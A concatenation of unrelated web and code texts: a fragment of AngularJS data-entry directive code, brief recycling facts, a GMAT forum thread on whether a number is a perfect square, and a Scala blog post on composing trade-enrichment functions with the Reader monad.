// if(colValueDouble == 0){
// continue;
// }
// }
// 20180515, keithpoon, allow to set null in create mode only
if(editMode == globalCriteria.editMode.Create)
// if the column is auto increase set it null
if(itemsColumn[colIndex].extra == "auto_increment"){
continue;
strictObj[colIndex] = null;
}
strictObj[colIndex] = colValue;
}
return strictObj;
}
function CreateData(recordObj){
var programId = $scope.programId.toLowerCase();
var isAllKeyExists = IsKeyInDataRow(recordObj);
if(!isAllKeyExists){
return $q.reject("Please provide the value of mandatory column. Avoid to create data.");
}
var isModelStrictWithSchema = TryToCallIsLimitModelStrictWithSchema();
// 20190630
// sometime in bug, need to investigate
// if(isModelStrictWithSchema)
// recordObj = ConvertEntryModelStrictWithSchema(recordObj, $scope.editMode);
var submitData = {
"Table": programId,
"recordObj": recordObj
};
var request = DataAdapter.CreateData(submitData);
return request;
}
function UpdateData(recordObj){
var clientID = Security.GetSessionID();
var programId = $scope.programId.toLowerCase();
var isAllKeyExists = IsKeyInDataRow(recordObj);
if(!isAllKeyExists){
return $q.reject("Please provide the value of mandatory column. Avoid to update data.");
}
var updateObj = {
"Header":{},
"Items":{}
}
updateObj.Header[1] = {};
//updateObj.Header[1] = recordObj;
updateObj.Header[1] = ConvertEntryModelStrictWithSchema(recordObj, $scope.editMode);
var isRowEmpty = jQuery.isEmptyObject(updateObj.Header[1])
if(isRowEmpty){
return $q.reject("Cannot update a empty Record");
}
var submitData = {
"Table": programId,
"Data": updateObj
};
var request = DataAdapter.UpdateData(submitData);
return request;
}
function DeleteData(recordObj){
var clientID = Security.GetSessionID();
var programId = $scope.programId.toLowerCase();
var isAllKeyExists = IsKeyInDataRow(recordObj);
if(!isAllKeyExists){
return $q.reject("Key not complete in record, avoid to delete data.");
}
var deleteObj = {
"Header":{},
"Items":{}
}
deleteObj.Header[1] = {};
//deleteObj.Header[1] = recordObj;
// deleteObj.Header[1] = ConvertKeyFieldToUppercase(recordObj, true);
deleteObj.Header[1] = ConvertKeyFieldToUppercase(recordObj, true);
var isRowEmpty = jQuery.isEmptyObject(deleteObj.Header[1]);
if(isRowEmpty){
return $q.reject("Cannot delete a empty Record");
}
var submitData = {
"Table": programId,
"Data": deleteObj
};
var request = DataAdapter.DeleteData(submitData);
return request;
}
$scope.Initialize();
}
function FindEditModeEnum(attrEditMode){
var globalCriteria = $rootScope.globalCriteria;
var isEditModeFound = false;
var isEditModeNumeric = false;
var editMode = 0;
if(typeof(attrEditMode) != undefined){
if(attrEditMode != null && attrEditMode !=""){
isEditModeFound = true;
}
}
if(isEditModeFound){
isEditModeNumeric = !isNaN(parseInt(attrEditMode));
}
if(!isEditModeFound){
editMode = globalCriteria.editMode.None;
}else{
if(isEditModeNumeric){
editMode = attrEditMode;
}
else{
attrEditMode = attrEditMode.toLowerCase();
if(attrEditMode == "none"){
editMode = globalCriteria.editMode.None;
}
else if(attrEditMode == "create"){
editMode = globalCriteria.editMode.Create;
}
else if(attrEditMode == "amend"){
editMode = globalCriteria.editMode.Amend;
}
else if(attrEditMode == "delete"){
editMode = globalCriteria.editMode.Delete;
}
else if(attrEditMode == "view"){
editMode = globalCriteria.editMode.View;
}
else if(attrEditMode == "copy"){
editMode = globalCriteria.editMode.Copy;
}
else if(attrEditMode == "null"){
editMode = globalCriteria.editMode.Null;
}
else if(attrEditMode.indexOf("amend") >-1 &&
attrEditMode.indexOf("delete") >-1 )
{
editMode = globalCriteria.editMode.AmendAndDelete;
}
else{
throw ("Unable to identify the edit mode '"+attrEditMode+"' on entry");
}
}
}
return editMode;
}
function templateFunction(tElement, tAttrs) {
var globalCriteria = $rootScope.globalCriteria;
var template = '' +
// outside of the ng-transclude
// '<div>'+
// '</div>' +
// '<div class="well well-sm">'+
// '<p ng-repeat="dspMsg in DisplayMessageList track by $index" ng-bind="dspMsg"></p>'+
// '</div>' +
// inside of the ng-transclude
//'<div ng-transclude></div>' +
'<div class="custom-transclude"></div>';
return template;
}
function templateUrlFunction(tElement, tAttrs) {
var directiveName = tElement[0].tagName;
directiveName = directiveName.toLowerCase();
var tempateURL = ThemeService.GetTemplateURL(directiveName);
return tempateURL;
}
return {
require: ['ngModel'],
restrict: 'EA', //'EA', //Default in 1.3+
transclude: true,
// scope: [false | true | {...}]
// false = use parent scope
// true = A new child scope that prototypically inherits from its parent
// {} = create a isolate scope
scope: true,
controller: EntryConstructor,
controllerAs: 'entryCtrl',
//If both bindToController and scope are defined and have object hashes, bindToController overrides scope.
bindToController: {
ngModel: '=',
//editMode: '=?',
// programId: '=',
/*
EventListener: '=',
SubmitData: '=',
*/
},
//templateUrl: templateUrlFunction,
template: templateFunction,
compile: function compile(tElement, tAttrs, transclude) {
return {
pre: function preLink(scope, iElement, iAttrs, controller) {
//console.log("entry preLink() compile");
/*
var directiveName = iElement[0].tagName;
directiveName = directiveName.toLowerCase();
var response = ThemeService.GetTemplateHTML(directiveName);
response.then(function(responseObj) {
var html = responseObj.data;
iElement.html(html);
$compile(iElement.contents())(scope);
transclude(scope, function(clone, scope) {
$compile(clone);
iElement.find('.custom-transclude').append(clone);
});
});
*/
},
post: function postLink(scope, iElement, iAttrs, controller) {
//console.log("entry postLink() compile");
transclude(scope, function (clone, scope) {
iElement.find('.custom-transclude').append(clone);
})
// lock controls should put post here,
var globalCriteria = $rootScope.globalCriteria;
if(scope.editMode == globalCriteria.editMode.None ||
scope.editMode == globalCriteria.editMode.Null ||
scope.editMode == globalCriteria.editMode.Create ||
scope.editMode == globalCriteria.editMode.View ||
scope.editMode == globalCriteria.editMode.Delete
){
// require table structure, lock all control.
// the controls will be unlock after table structre received.
// console.log("Mode is [View | Delete | None | Null], lock all controls")
iElement.ready(function() {
if(scope.editMode == globalCriteria.editMode.Delete)
scope.LockAllInputBox();
else
scope.LockAllControls();
})
}
}
}
},
};
}]);
| {
"redpajama_set_name": "RedPajamaGithub"
} | 7,600 |
∙ You can make a difference!
∙ The United States annually recycles enough copper to provide the copper content for 30,645 Statues of Liberty.
∙ Each person creates about 4.7 pounds of waste every single day.
∙ An aluminum can that is thrown away will still be there 500 years from now.
∙ Recycling 1 ton (2000 pounds) of aluminum cans conserves the equivalent of 1,665 gallons of gasoline. | {
"redpajama_set_name": "RedPajamaC4"
} | 5,137 |
{"url":"https:\/\/gmatclub.com\/forum\/is-the-positive-integer-n-a-perfect-square-1-the-number-79108-20.html","text":"GMAT Question of the Day - Daily to your Mailbox; hard ones only\n\n It is currently 15 Oct 2018, 03:44\n\n### GMAT Club Daily Prep\n\n#### Thank you for using the timer - this advanced tool can estimate your performance and suggest more practice questions. We have subscribed you to Daily Prep Questions via email.\n\nCustomized\nfor You\n\nwe will pick new questions that match your level based on your Timer History\n\nTrack\n\nevery week, we\u2019ll send you an estimated GMAT score based on your performance\n\nPractice\nPays\n\nwe will pick new questions that match your level based on your Timer History\n\n# Is the positive integer N a perfect square? (1) The number\n\nAuthor Message\nTAGS:\n\n### Hide Tags\n\nDirector\nJoined: 22 Mar 2011\nPosts: 601\nWE: Science (Education)\nRe: Is the positive integer N a perfect square?\u00a0 [#permalink]\n\n### Show Tags\n\n31 Jul 2012, 01:26\nashish8 wrote:\nHow is B sufficient? Sum of distinct factors of a perfect square is odd, but if n is 2, then the sum is also odd.\n\n(2) states: The sum of all distinct factors of N is even.\nSince the sum of distinct factors of a perfect square must be odd, we can conclude that N is not a perfect square.\nSo, the answer to the question \"Is N a perfect square?\" is a definite NO.\nTherefore, (2) sufficient.\n\nNot only perfect squares have the sum of their distinct factors odd. As you mentioned, for 2, the sum of its factors is odd, and it is not a perfect square.\nSo, if a number is a perfect square, then the sum of its factors is necessarily odd, but the reciprocal is not true. Meaning, if the sum of the factors is odd, the number is not necessarily a perfect square, it might be or not. But if the sum of the distinct factors is even, then certainly the number cannot be a perfect square.\n_________________\n\nPhD in Applied Mathematics\nLove GMAT Quant questions and running.\n\nMath Expert\nJoined: 02 Sep 2009\nPosts: 49965\nRe: Is the positive integer N a perfect square?\u00a0 [#permalink]\n\n### Show Tags\n\n31 Jul 2012, 01:32\nashish8 wrote:\nHow is B sufficient? Sum of distinct factors of a perfect square is odd, but if n is 2, then the sum is also odd.\n\nAlso check this:\n\n1. The number of distinct factors of a perfect square is ALWAYS ODD. The reverse is also true: if a number has the odd number of distinct factors then it's a perfect square;\n\n2. The sum of distinct factors of a perfect square is ALWAYS ODD. The reverse is NOT always true: a number may have the odd sum of its distinct factors and not be a perfect square. For example: 2, 8, 18 or 50;\n\n3. A perfect square ALWAYS has an ODD number of Odd-factors, and EVEN number of Even-factors. The reverse is also true: if a number has an ODD number of Odd-factors, and EVEN number of Even-factors then it's a perfect square. For example: odd factors of 36 are 1, 3 and 9 (3 odd factor) and even factors are 2, 4, 6, 12, 18 and 36 (6 even factors);\n\n4. Perfect square always has even powers of its prime factors. The reverse is also true: if a number has even powers of its prime factors then it's a perfect square. For example: $$36=2^2*3^2$$, powers of prime factors 2 and 3 are even.\n\nHope it helps.\n_________________\nManager\nJoined: 22 Jun 2012\nPosts: 50\nGMAT 1: 730 Q49 V40\n\n### Show Tags\n\n31 Jul 2012, 23:19\ncipher wrote:\nPkit wrote:\n\nIs the positive integer N a perfect square?\n\n(1) The number of distinct factors of N is even.\n(2) The sum of all distinct factors of N is even.\n\nI have got this question wrong , but I would argue with the OA provided by MGMAT.\n\nOA D\n.\n\n1) The number of distinct factors of N is even.\n\nSuppose N = 4. It has 3 distinct factors: 1, 2 and 4.\nSuppose N = 9. It has 3 distinct factors: 1, 3 and 9.\nSuppose N = 16. It has 5 distinct factors: 1, 2, 4, 8, and 16.\nSuppose N = 64. It has 7 distinct factors: 1, 2, 4, 8, 16, 32, and 64.\nBut that not the case. In fact, the case is opposite. So it is sufficient because N is not a square.\n\n(2) The sum of all distinct factors of N is even.\n\nIf you follow the above pattern, you see 1 is always there. The sum of all distinct factors except 1 of N is even. If you add 1 on the even sum, that odd. So N is not a square.\nBut that not the case. In fact, the case is opposite. So it is sufficient because N is again not a square.\n\nSo D.\n\nPS: A perfect square always have odd number of factors, for e.g a integer $$n$$ and its square $$n^2$$\n\nNow, $$n$$ will have always have even number of factors, (take any number and you will realise that factors come in pairs), now $$n^2$$ will have all factors which $$n$$ has + one more which is $$n^2$$\n\nHi there,\n\nI have a problem with this method. I think it is flawed but luckily works here.\nWe can see that the two statements should be true for perfect squares, but in no way have we proved that it is not true for non-perfect square.\nFor instance, getting a few examples of perfect squares and seeing that the sum of the factors is always odd, doesn't imply that summing the factors of a non-perfect square would not be odd...\n\nThe only way to properly answer is to know the properties given by Bunuel IMO.\nManager\nJoined: 22 Feb 2009\nPosts: 177\nRe: Is the positive integer N a perfect square? (1) The number\u00a0 [#permalink]\n\n### Show Tags\n\n21 Aug 2014, 01:26\nBunuel wrote:\ntingle15 wrote:\nI have a doubt...\n\nConsider N=18, Its factors are: 1, 2, 3, 6, 9, 18. The sum of factors is 39 which is odd... Am i missing something?\n\n1. The number of distinct factors of a perfect square is ALWAYS ODD. The reverse is also true: if a number has the odd number of distinct factors then it's a perfect square;\n\n2. The sum of distinct factors of a perfect square is ALWAYS ODD. The reverse is NOT always true: a number may have the odd sum of its distinct factors and not be a perfect square. For example: 2, 8, 18 or 50;\n\n3. A perfect square ALWAYS has an ODD number of Odd-factors, and EVEN number of Even-factors. The reverse is also true: if a number has an ODD number of Odd-factors, and EVEN number of Even-factors then it's a perfect square. For example: odd factors of 36 are 1, 3 and 9 (3 odd factor) and even factors are 2, 4, 6, 12, 18 and 36 (6 even factors);\n\n4. Perfect square always has even powers of its prime factors. The reverse is also true: if a number has even powers of its prime factors then it's a perfect square. For example: $$36=2^2*3^2$$, powers of prime factors 2 and 3 are even.\n\nNEXT:\nThere is a formula for Finding the Number of Factors of an Integer:\n\nFirst make prime factorization of an integer $$n=a^p*b^q*c^r$$, where $$a$$, $$b$$, and $$c$$ are prime factors of $$n$$ and $$p$$, $$q$$, and $$r$$ are their powers.\n\nThe number of factors of $$n$$ will be expressed by the formula $$(p+1)(q+1)(r+1)$$. NOTE: this will include 1 and n itself.\n\nExample: Finding the number of all factors of 450: $$450=2^1*3^2*5^2$$\n\nTotal number of factors of 450 including 1 and 450 itself is $$(1+1)*(2+1)*(2+1)=2*3*3=18$$ factors.\n\nBack to the original question:\n\nIs the positive integer N a perfect square?\n\n(1) The number of distinct factors of N is even --> let's say $$n=a^p*b^q*c^r$$, given that the number of factors of $$n$$ is even --> $$(p+1)(q+1)(r+1)=even$$. But as we concluded if $$n$$ is a perfect square then powers of its primes $$p$$, $$q$$, and $$r$$ must be even, and in this case number of factors would be $$(p+1)(q+1)(r+1)=(even+1)(even+1)(even+1)=odd*odd*odd=odd\\neq{even}$$. Hence $$n$$ can not be a perfect square. Sufficient.\n\n(2) The sum of all distinct factors of N is even --> if $$n$$ is a perfect square then (according to 3) sum of odd factors would be odd and sum of even factors would be even, so sum of all factors of perfect square would be $$odd+even=odd\\neq{even}$$. Hence $$n$$ can not be a perfect square. Sufficient.\n\nHope it helps.\n\nHi, could you explain why \" A perfect square ALWAYS has an ODD number of Odd-factors, and EVEN number of Even-factors\" is true?\nThanks\n_________________\n\n.........................................................................\n+1 Kudos please, if you like my post\n\nVeritas Prep GMAT Instructor\nJoined: 16 Oct 2010\nPosts: 8378\nLocation: Pune, India\nRe: Is the positive integer N a perfect square? (1) The number\u00a0 [#permalink]\n\n### Show Tags\n\n24 Aug 2014, 21:49\n\nHi, could you explain why \" A perfect square ALWAYS has an ODD number of Odd-factors, and EVEN number of Even-factors\" is true?\nThanks\n\nHere is a post that explains this: http:\/\/www.veritasprep.com\/blog\/2010\/12 ... t-squares\/\n_________________\n\nKarishma\nVeritas Prep GMAT Instructor\n\nGMAT self-study has never been more personalized or more fun. Try ORION Free!\n\nManager\nJoined: 22 Aug 2014\nPosts: 163\nRe: Is the positive integer N a perfect square? (1) The number\u00a0 [#permalink]\n\n### Show Tags\n\n17 Feb 2015, 08:58\nHi @veritasprepkarishma\/@Bunuel,\n\nFor 2nd statement if we take\n1)4-perfect square-sum of distinct factors is 2 or 4(2*2 or 4*1)\nCondition satisfied\n\n2)8-not a perfect square-sum of distinct factors is 2 or 8(2*2*2 or 8*1)\nCondition satisfied still not perfect square\n\nThen how can D be the answer?\nMath Expert\nJoined: 02 Sep 2009\nPosts: 49965\nRe: Is the positive integer N a perfect square? (1) The number\u00a0 [#permalink]\n\n### Show Tags\n\n17 Feb 2015, 09:39\nssriva2 wrote:\nHi @veritasprepkarishma\/@Bunuel,\n\nFor 2nd statement if we take\n1)4-perfect square-sum of distinct factors is 2 or 4(2*2 or 4*1)\nCondition satisfied\n\n2)8-not a perfect square-sum of distinct factors is 2 or 8(2*2*2 or 8*1)\nCondition satisfied still not perfect square\n\nThen how can D be the answer?\n\n(2) says that the sum of all distinct factors of N is even.\n\nIf N = 4, then its factors are 1, 2, and 4 --> the sum = 1 + 2 + 4 = 7 = odd.\n\nIf N = 8, then its factors are 1, 2, 4 and 8 --> the sum = 1 + 2 + 4 +8 = 15 = even.\n_________________\nIntern\nJoined: 14 Jan 2015\nPosts: 6\nRe: Is the positive integer N a perfect square? (1) The number\u00a0 [#permalink]\n\n### Show Tags\n\n18 Feb 2015, 11:21\ngoldeneagle94 wrote:\nInteresting Question !!!\n\nA few facts to review:\n\nA perfect sqaure ALWAYS has an ODD number of factors, whose sum is ALWAYS ODD.\n\nA perfect sqaure ALWAYS has an ODD number of Odd-factors, and EVEN number of Even-factors.\n\nUsing the above facts, you can conclude that both statements are sufficient to answer the question.\n\nPerfect Square 36:\n(6 x 6)\n(3 X 3 X 2 X 2)\n4 total factors, 2 distinct factors, and sum is even\u2026?\nEMPOWERgmat Instructor\nStatus: GMAT Assassin\/Co-Founder\nAffiliations: EMPOWERgmat\nJoined: 19 Dec 2014\nPosts: 12639\nLocation: United States (CA)\nGMAT 1: 800 Q51 V49\nGRE 1: Q170 V170\nRe: Is the positive integer N a perfect square? (1) The number\u00a0 [#permalink]\n\n### Show Tags\n\n18 Feb 2015, 21:33\nHi Kitzrow,\n\nYou have to note the difference between \"factors\" and \"prime factors\"\n\n36 has the following FACTORS:\n1 and 36\n2 and 18\n3 and 12\n4 and 9\n6\n\nSo, there are 9 factors and the sum of those factors is 91.\n\nThis example matches the prior statements - 36 has an ODD number of factors and the sum of those factors is ODD.\n\nGMAT assassins aren't born, they're made,\nRich\n_________________\n\n760+: Learn What GMAT Assassins Do to Score at the Highest Levels\nContact Rich at: Rich.C@empowergmat.com\n\n# Rich Cohen\n\nCo-Founder & GMAT Assassin\n\nSpecial Offer: Save \\$75 + GMAT Club Tests Free\nOfficial GMAT Exam Packs + 70 Pt. Improvement Guarantee\nwww.empowergmat.com\/\n\n*****Select EMPOWERgmat Courses now include ALL 6 Official GMAC CATs!*****\n\nCurrent Student\nJoined: 06 Oct 2015\nPosts: 5\nSchools: Anderson '18 (M)\nGMAT 1: 760 Q48 V46\nRe: Is the positive integer N a perfect square?\u00a0 [#permalink]\n\n### Show Tags\n\n02 Nov 2015, 12:12\nQuestion here:\n\nI thought perfect squares always have an even sum of powers of prime factors? For instance, in the example, 36 = 2^2 * 3^2, powers of 2 + 2 = 4. Yet when you look at the total number of factors (2+1) * (2+1) you get 9...and the explanation nulls statement 1 because there are an odd number of factors... Can anyone elaborate on this? Thank you!\nCurrent Student\nJoined: 20 Mar 2014\nPosts: 2633\nConcentration: Finance, Strategy\nSchools: Kellogg '18 (M)\nGMAT 1: 750 Q49 V44\nGPA: 3.7\nWE: Engineering (Aerospace and Defense)\nRe: Is the positive integer N a perfect square?\u00a0 [#permalink]\n\n### Show Tags\n\n02 Nov 2015, 12:18\nHunterJ wrote:\nQuestion here:\n\nI thought perfect squares always have an even sum of powers of prime factors? For instance, in the example, 36 = 2^2 * 3^2, powers of 2 + 2 = 4. Yet when you look at the total number of factors (2+1) * (2+1) you get 9...and the explanation nulls statement 1 because there are an odd number of factors... Can anyone elaborate on this? Thank you!\n\nYou are missing 1 important point.\n\nWhen you look at number of factors of a perfect square you do ALL factors including 1 and the number itself.\n\nExample, 25 = 5^2 ---> total number of factors = (2+1) =3 , (1,5,25). You can not just add the powers of perfect squares to get the total number of factors.\n\nStatement 1 is sufficient as it gives a straight \"no\" to the question\" is n a perfect square\" as all perfect squares will have odd number of total factors.\n\nHope this helps.\nDirector\nJoined: 12 Nov 2016\nPosts: 749\nLocation: United States\nSchools: Yale '18\nGMAT 1: 650 Q43 V37\nGRE 1: Q157 V158\nGPA: 2.66\nRe: Is the positive integer N a perfect square? (1) The number\u00a0 [#permalink]\n\n### Show Tags\n\n26 Sep 2017, 03:42\nmbaMission wrote:\nIs the positive integer N a perfect square?\n\n(1) The number of distinct factors of N is even.\n(2) The sum of all distinct factors of N is even.\n\nNice explanation Bunuel- we could also arrive at those rules by testing square roots and knowing the distinct factor equation\n\nStatement 1\n\nWhat Bunuel is demonstrating is that this condition cannot allow a perfect square- the number of distinct factors of a number is found by taking the prime factorization of the number and then adding 1 to all the exponents and then multiplying the product being the number of distinct factors. Notice the numbers 9, 49, 100\n\n3^2 = 9\n3^(2+1) = 3 distinct factors: 9, 3 ,1\n\n49= 7^2\n7^(2+1) = 3 distinct factors :1,7,49\n\n10^2= 100\n5^2 2^2= 100\n5^(2+1) 2^(2+1) = 9 distinct factors: 100, 50, 25, 20, 10 , 5, 4 ,2 ,1\n\nSo we can clearly see any number with an even number of distinct factors cannot be a perfect square- all perfect squares will have an odd number of distinct factors\n\nsuff\n\nStatement 2\n\nWe can just try out a few small values such as 25, 9 , 49 - clearly the sum of all distinct factors of any perfect square will be odd\n\nsuff\n\nD\nManager\nJoined: 04 Oct 2017\nPosts: 55\nRe: Is the positive integer N a perfect square? (1) The number\u00a0 [#permalink]\n\n### Show Tags\n\n04 Oct 2018, 18:46\ngoldeneagle94 wrote:\nInteresting Question !!!\n\nA few facts to review:\n\nA perfect sqaure ALWAYS has an ODD number of factors, whose sum is ALWAYS ODD.\n\nA perfect sqaure ALWAYS has an ODD number of Odd-factors, and EVEN number of Even-factors.\n\nUsing the above facts, you can conclude that both statements are sufficient to answer the question.\n\nHi,\n\nPlease explain this statement.....A perfect sqaure ALWAYS has an ODD number of Odd-factors, and EVEN number of Even-factors.\n\nThank you\nRe: Is the positive integer N a perfect square? (1) The number &nbs [#permalink] 04 Oct 2018, 18:46\n\nGo to page \u00a0 Previous \u00a0 \u00a01\u00a0\u00a0\u00a02\u00a0 \u00a0[ 33 posts ]\n\nDisplay posts from previous: Sort by","date":"2018-10-15 10:44:09","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 1, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.7436062693595886, \"perplexity\": 883.189888482439}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509170.2\/warc\/CC-MAIN-20181015100606-20181015122106-00543.warc.gz\"}"} | null | null |
Q: So does bitlocker requires me to use password for my computer? I still do not quite understand how bitlocker protect my data.
Say I do not require user login to my computer.
Even if I have bitlocker, anyone will just use my computer like usual.
Does bitlocker require password? I was never asked for password.
I am only asked to back up key in USB flash drive and that's it. My computer can run fine without it.
A: By not requiring a user to login, you have effectively rendered Bitlocker virtually useless. You need to re-enable the login screen to make use of Bitlocker. Bitlocker will check the validity of the login and then allow access to the encryted disk. By auto logging in, the check will always pass.
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 6,053 |
Humayni (; die Etymologie ist unbekannt) ist ein im Jemen verbreitetes poetisches Genre, das eine breite Varietät von Themen abdeckt. Es bedient sich meistens einer strophischen Form und seine Sprache weicht oft von den Standardregeln der arabischen Sprache ab. Der älteste in der Literatur erwähnte Poet dieses Genres war Ibn Falīta (gest. 1331).
Humanyi wird in drei Kategorien aufgeteilt: nicht-strophisch (Qasīda) und die beiden strophischen Formen Mubayyat und Muwaschschah. Die Mubayyat sind jedoch die üblichste Form mit gemeinsamen Reimen jeweils in der 4. Strophe.
Literatur
Willem Stoetzer: Ḥumaynī. In: Julie Scott Meisami, Paul Starkey (Hrsg.): Encyclopaedia of Islamic Literature Band 1, Routledge, London / New York 1998, ISBN 0-415-18571-8, S. 294 ().
Karel Petráček: Zur Komposition der jemenitischen volkstümlichen Qaṣīda. In: Archive Orientálni. 36, 1998, S, 24–28.
Literarischer Begriff
Literatur (Arabisch) | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 2,754 |
{"url":"http:\/\/debasishg.blogspot.com\/2010\/12\/case-study-of-cleaner-composition-of.html","text":"Monday, December 27, 2010\n\nA case study of cleaner composition of APIs with the Reader monad\n\nIn my earlier post on composable domain models, I wrote about the following DSL that captures the enrichment of a security trade by computing the applicable tax\/fees and then the net cash value of the trade. It uses chained composition of scalaz functors .. In this post we are going to improve upon the compositionality, introduce a new computation structure and make our APIs leaner with respect to type signatures ..\n\nscala>\u00a0trd1\u00a0\u00b0\u00a0forTrade\u00a0\u00b0\u00a0taxFees\u00a0\u00b0\u00a0enrichWith\u00a0\u00b0\u00a0netAmount\u00a0\u00a0 res0:\u00a0Option[scala.math.BigDecimal]\u00a0=\u00a0Some(3307.5000) \nHere are the building blocks for the above .. the individual functions and the type definitions for each of them ..\n\nforTrade:\u00a0Trade\u00a0=>\u00a0(Trade,\u00a0Option[List[TaxFeeId]]) taxFees:\u00a0(Trade,\u00a0Option[List[TaxFeeId]])\u00a0=>\u00a0(Trade,\u00a0List[(TaxFeeId,\u00a0BigDecimal)]) enrichWith:\u00a0(Trade,\u00a0List[(TaxFeeId,\u00a0BigDecimal)])\u00a0=>\u00a0RichTrade netAmount:\u00a0RichTrade\u00a0=>\u00a0Option[BigDecimal] \nand here's the chaining in action with wiring made explicit ..\n\nNote how we explicitly wire the types up so as to make the entire computation composable. Composability is a worthwhile quality to have for your abstractions. However in order for your functions to compose, the types for input and output for each of them must match. In the above example, we need to have forTrade spit out a Trade object along with the list of tax\/fee id, in order for it to compose with taxFees.\n\nFor an API to be usable, the secret sauce is to make it lean. Never impose any additional burden on to your API's interface that smells of incidental complexity to the user. This is exactly what we are doing in the above composition. Note we are carrying around the Trade argument pipelining it through each of the above functions. In our use case the Trade is a read-only state and needs to be shared amongst all functions to read the information from the object.\n\nRefactor the above into the Reader monad. A Reader is meant to be used as an environment (it's also known as the Environment monad) for all the participating components of the computation. What we need to do for this is to set up a monadic structure for our computation. Here are the modified function signatures .. I have changed some of the names for better adaptability with the domain, but you get the idea ..\n\nval\u00a0forTrade:\u00a0Trade\u00a0=>\u00a0Option[List[TaxFeeId]]\u00a0=\u00a0\/\/.. val\u00a0taxFeeCalculate:\u00a0Trade\u00a0=>\u00a0List[TaxFeeId]\u00a0=>\u00a0List[(TaxFeeId,\u00a0BigDecimal)]\u00a0=\u00a0\/\/.. val\u00a0enrichTradeWith:\u00a0Trade\u00a0=>\u00a0List[(TaxFeeId,\u00a0BigDecimal)]\u00a0=>\u00a0BigDecimal\u00a0=\u00a0\/\/.. \nEvery function takes the Trade but we no longer have to do an explicit chaining by emitting the Trade also as an output. This is where a monad shines. A monad gives you a shared interface to many libraries where you don't need to implement sequencing explicitly within your DSELs.\n\nAnd here's our DSEL that runs through the sequence of enriching a trade while using the passed in trade as an environment .. (thanks @runarorama for the help with the Reader in scalaz)\n\nval\u00a0enrich\u00a0=\u00a0for\u00a0{ \u00a0\u00a0taxFeeIds\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<-\u00a0forTrade\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u00a0get\u00a0the\u00a0tax\/fee\u00a0ids\u00a0for\u00a0a\u00a0trade \u00a0\u00a0taxFeeValues\u00a0\u00a0\u00a0<-\u00a0taxFeeCalculate\u00a0\/\/\u00a0calculate\u00a0tax\u00a0fee\u00a0values \u00a0\u00a0netAmount\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<-\u00a0enrichTradeWith\u00a0\/\/\u00a0enrich\u00a0trade\u00a0with\u00a0net\u00a0amount } yield((taxFeeIds\u00a0\u00b0\u00a0taxFeeValues)\u00a0\u00b0\u00a0netAmount) \nThis is a comprehension in Scala which is like the do notation of Haskell. Desugar it as an exercise and explore how flatMap does the sequencing.\n\nHere's what the type of enrich looks like ..\n\nscala>\u00a0enrich res1:\u00a0(net.debasishg.domain.trade.dsl.TradeModel.Trade)\u00a0=>\u00a0Option[BigDecimal]\u00a0=\u00a0<function1> \nenrich is monadic in nature and follows the usual structure of a monad that sequences its operations through bind to give it an imperative look and feel. If any of the above sub-computations fail, the whole computation fails. But show it to a person who knows the domain of security trading - the steps in enrich nicely models the ubiquitous language.\n\nI have the entire DSL in my github repo. You can get the use of enrich here in the test case ..\n\nTom Crockett said...\n\n\"(((trd1\u00a0\u00b0\u00a0forTrade)\u00a0\u00b0\u00a0taxFees)\u00a0\u00b0\u00a0enrichWith)\u00a0\u00b0\u00a0netAmount\" - Why the explicit parens? Function composition is associative.\n\nDebasish said...\n\nabsolutely .. updated post\n\nAnonymous said...\n\nHi Debasish!\nI like your posts on Domain models and scalaz, it needs a lot more attention IMHO.\nI was seeing through your repo and came to this:\n\non Line 49 there is this method:\ndef validQuantity(qty: BigDecimal): Validation[String, BigDecimal] =\ntry {\nif (qty <= 0) \"qty must be > 0\".fail\nelse if (qty > 500) \"qty must be <= 500\".fail\nelse qty.success\n} catch {\ncase e => e.toString.fail\n}\n\nYou use here a try{} catch block. Could you explain why? Because the only exception I could ever imagine that COULD arise here is a NullpointerException if qty is null.\n\nSo my Questions:\nIs the NPE the only Exception you try to catch here? If not what am I missing?\n\nIF the block is only guarding for an NPE why not use a plain == null Check or some \"Option\" handling?","date":"2016-06-30 03:05:42","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.42071905732154846, \"perplexity\": 674.5207616813308}, \"config\": {\"markdown_headings\": false, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 20, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": 